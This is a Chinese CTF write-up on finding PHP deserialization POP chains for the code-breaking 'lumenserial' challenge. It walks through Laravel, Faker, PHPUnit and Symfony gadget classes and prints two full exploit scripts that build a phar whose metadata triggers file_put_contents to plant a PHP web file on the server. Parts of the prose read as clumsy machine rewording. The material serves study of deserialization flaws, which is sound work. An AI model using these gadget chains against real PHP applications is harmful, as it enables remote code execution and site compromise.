您现在的位置是:首页 > 密码破解

PHP反序列化新手入门之找寻POP链(二)

作者:果E安全网时间:2020-10-25 22:18:24分类:密码破解

简介文中以code-breaking中lumenserial为例子,训练PHP反序列化POP链的找寻,题型详细地址:。上篇文章内容,我们都是根据PendingBroadcast类__destruct方法中的$this->events->dispatch,随后立即走$this->events目标的_

文中以 code-breaking 中 lumenserial 为例子,训练PHP反序列化 POP链 的找寻,题型详细地址:https://code-breaking.com/puzzle/7/ 。

上篇 文章内容 ,我们都是根据 PendingBroadcast 类 __destruct 方法中的 $this->events->dispatch ,随后立即走 $this->events 目标的 __call 方法,文中将探寻立即走 $this->events 目标 dispatch 方法的 POP链 。

大家立即检索 'function dispatch(' ,发觉有一个 Dispatcher 类的 dispatchToQueue 方法中调用的 call_user_func 涵数2个参数都可控,并且 dispatch 中调用了 dispatchToQueue 方法,代码以下:

1

从代码中我们可以见到,要是传到的 $command 自变量是 ShouldQueue 类的案例就可以。根据检索,大家会发觉 ShouldQueue 是一个插口,那麼大家寻找其完成类就可以。立即检索 'implements ShouldQueue' ,大家随意选择一个完成类就可以,这儿我采用 CallQueuedClosure 类,有关代码以下:2

如今 call_user_func 涵数的2个参数都可控,又变成了我们可以调用随意目标的随意方法了,那样大家有能够利用上一篇文章中的方法,调用 ReturnCallback 类的 invoke 方法,并传到 StaticInvocation 类的目标做为参数,产生全部详细的 POP链 ,利用 exp 以下:

<?php

namespace Illuminate\\Broadcasting{

class PendingBroadcast{

protected $events;

protected $event;

function __construct($events, $event){

$this->events=$events;

$this->event=$event;

}

}

class BroadcastEvent{

public $connection;

public function __construct($connection)

{

$this->connection=$connection;

}

}

};

namespace PHPUnit\\Framework\\MockObject\\Stub{

class ReturnCallback

{

private $callback;

public function __construct($callback)

{

$this->callback=$callback;

}

}

};

namespace PHPUnit\\Framework\\MockObject\\Invocation{

class StaticInvocation{

private $parameters;

public function __construct($parameters){

$this->parameters=$parameters;

}

}

};

namespace Illuminate\\Bus{

class Dispatcher{

protected $queueResolver;

public function __construct($queueResolver){

$this->queueResolver=$queueResolver;

}

}

};

namespace{

$function='file_put_contents';

$parameters=array('/var/www/html/11.php','<?php phpinfo();?>');

$staticinvocation=new PHPUnit\\Framework\\MockObject\\Invocation\\StaticInvocation($parameters);

$broadcastevent=new Illuminate\\Broadcasting\\BroadcastEvent($staticinvocation);

$returncallback=new PHPUnit\\Framework\\MockObject\\Stub\\ReturnCallback($function);

$dispatcher=new Illuminate\\Bus\\Dispatcher(array($returncallback,'invoke'));

$pendingbroadcast=new Illuminate\\Broadcasting\\PendingBroadcast($dispatcher,$broadcastevent);

$o=$pendingbroadcast;

$filename='poc.phar';// 后缀名务必为phar,不然程序流程没法运作

file_exists($filename) ? unlink($filename) : null;

$phar=new Phar($filename);

$phar->startBuffering();

$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");

$phar->setMetadata($o);

$phar->addFromString("foo.txt","bar");

$phar->stopBuffering();

};

?>

大家再根据下边这张图片,来梳理全部 POP链 的调用全过程。

3

接下去这一 POP链 构思是参照 这篇 文章内容,找寻 POP链 的构思還是从 dispatch 方法下手。在上一篇文章中,大家发觉第一个 RCE 离开了 Generator 类的 __call 方法,这一方法做为 POP链 中的一部分极为功能强大,由于 call_user_func_array 方法中的2个参数彻底可控。大家要是寻找方法中存有形如 this->$object->$method($arg1,$arg2) ,且 $object 、 $method 、 $arg1 、 $arg2 四个参数均可控制,那麼就可以利用这一 Generator 类的 __call 方法,最后调用 call_user_func_array('file_put_contents',array('1.php','xxx')) 。

4

大家再次检索 dispatch ,会发觉一个 TraceableEventDispatcher 类的 dispatch 方法,其代码以下:

5

大家发觉其调用了 preProcess 方法,传到的 $eventName 自变量是可控的,大家跟踪该方法, 实际代码以下:

6

能够见到大家得让 $this->dispatcher->hasListeners($eventName) 回到 true ,不然回到的空值对大家没用。随后 第12行 的 getListeners 方法回到的非常值得是一个数组,那样大家才可以进到 foreach 构造里。往往要进入 foreach 构造里,是由于我们在 第16行 看到了 $this->dispatcher->removeListener($eventName, $listener) ,构造形如: this->$object->$method($arg1,$arg2) ,前三个参数能够依照以下结构:

this->$object=new Faker\\Generator();

this->$object->$method='removeListener';

arg1='/var/www/html/1.php';

this->formatters['removeListener']='file_put_contents';

这样子结构以后,实行到 $this->dispatcher->removeListener($eventName, $listener) 时,便会调用 Generator 类的 __call 方法,进而实行 call_user_func_array('file_put_contents',array('/var/www/html/upload/1.php',$listener)) ,因此 大家要是再保证 第四个参数 $listener 可控就可以。

如今大家再返回上边 第六行 的 if 句子,大家必须先绕开这一分辨标准。该代码会调用 Faker\\Generator 类的 hasListeners 方法,从而开启 __call 方法,那麼大家要是将 this->formatters['hasListeners']设成 'strlen' 就可以,以后便会调用 call_user_func_array('strlen','var/ www/html') ,这样就可以绕过 if 语句。

  j接着我们再回到 foreach 语句,继续搜索可利用的 getListeners 方法,看看是否可以返回一个可控数组(返回数组才能进入 foreach 语句)。通过搜索,我们会发现一个 Dispatcher 类的 getListeners 符合我们的要求,其具体代码如下:

  7

  此时 $eventName 是我们传入的 '/var/www/html/upload/1.php' ,很明显上面的代码中可以返回一个数组,而且数组的值完全可控。

  刚才 foreach 中的 $this->dispatcher->getListeners() 调用的是 Faker\Generator 类的 getListeners 方法,现在我们要想办法让它调用 Dispatcher 类的 getListeners 方法。我们再看一下刚才 Generator 的调用流程图:

  4

  可以看到只要我们将 this->providers 设置为 array(Dispatcher类) 即可,之后的调用就类似于 call_user_func_array(array(Dispatcher类,'getListeners'),'/var/www/html/1.php') 。

  现在基本完成了整个利用链,不过在执行到 $this->dispatcher->removeListener($eventName, $listener) 之前,还有一些额外的代码需要执行,我们要确保这些代码不会影响我们下面的方法,所以我们需要继续看 foreach 下面的代码(这里说的是 TraceableEventDispatcher 类 preProcess 方法中的 foreach )。

  我们看到其调用了本类的 getListenerPriority 方法,具体代码如下:

  8

  我们看到 第16行 ,返回 $this->dispatcher->getListenerPriority($eventName, $listener) ,简直完美。我们可以不用执行到刚才的 removeListener 方法,直接到这里就可以完成整个 POP链 了。最终的利用 exp 如下:

  <?php

  namespace Illuminate\Events{

  class Dispatcher{

  protected $listeners;

  protected $wildcardsCache;

  public function __construct($parameter,$function){

  $this->listeners[$parameter['filename']]=array($parameter['contents']);

  }

  }

  };

  namespace Faker{

  class Generator{

  protected $providers;

  protected $formatters;

  public function __construct($providers,$formatters){

  $this->providers=$providers;

  $this->formatters=$formatters;

  }

  }

  };

  namespace Symfony\Component\EventDispatcher\Debug{

  class TraceableEventDispatcher{

  private $dispatcher;

  public function __construct($dispatcher){

  $this->dispatcher=$dispatcher;

  }

  }

  };

  namespace Illuminate\Broadcasting{

  class PendingBroadcast{

  protected $events;

  protected $event;

  public function __construct($events, $parameter){

  $this->events=$events;

  $this->event=$parameter['filename'];

  }

  }

  }

  namespace {

  $function='file_put_contents';

  $parameters=array('filename'=> '/var/www/html/1.php','contents'=> '<?php phpinfo();?>');

  $dispatcher=new \Illuminate\Events\Dispatcher($parameters,$function);

  $generator=new \Faker\Generator([$dispatcher],['hasListeners'=>'strlen','getListenerPriority'=>$function]);

  $traceableeventdispatcher=new Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($generator);

  $pendingbroadcast=new Illuminate\Broadcasting\PendingBroadcast($traceableeventdispatcher,$parameters);

  $o=$pendingbroadcast;

  $filename='poc.phar';// 后缀必须为phar,否则程序无法运行

  file_exists($filename) ? unlink($filename) : null;

  $phar=new Phar($filename);

  $phar->startBuffering();

  $phar->setStub("GIF89a<?php __HALT_COMPILER(); ");

  $phar->setMetadata($o);

  $phar->addFromString("foo.txt","bar");

  $phar->stopBuffering();

  }

  ?>

  我们再通过下面这张图片,来理清整个 POP链 的调用过程。

  9

  Code Breaking 挑战赛 -- lumenserial

郑重声明:

果E安全网所有活动均为互联网所得,如有侵权请联系本站删除处理,转载请注明本站地址。

上一篇:一次iOS App渗透测试

下一篇:返回列表

我来说两句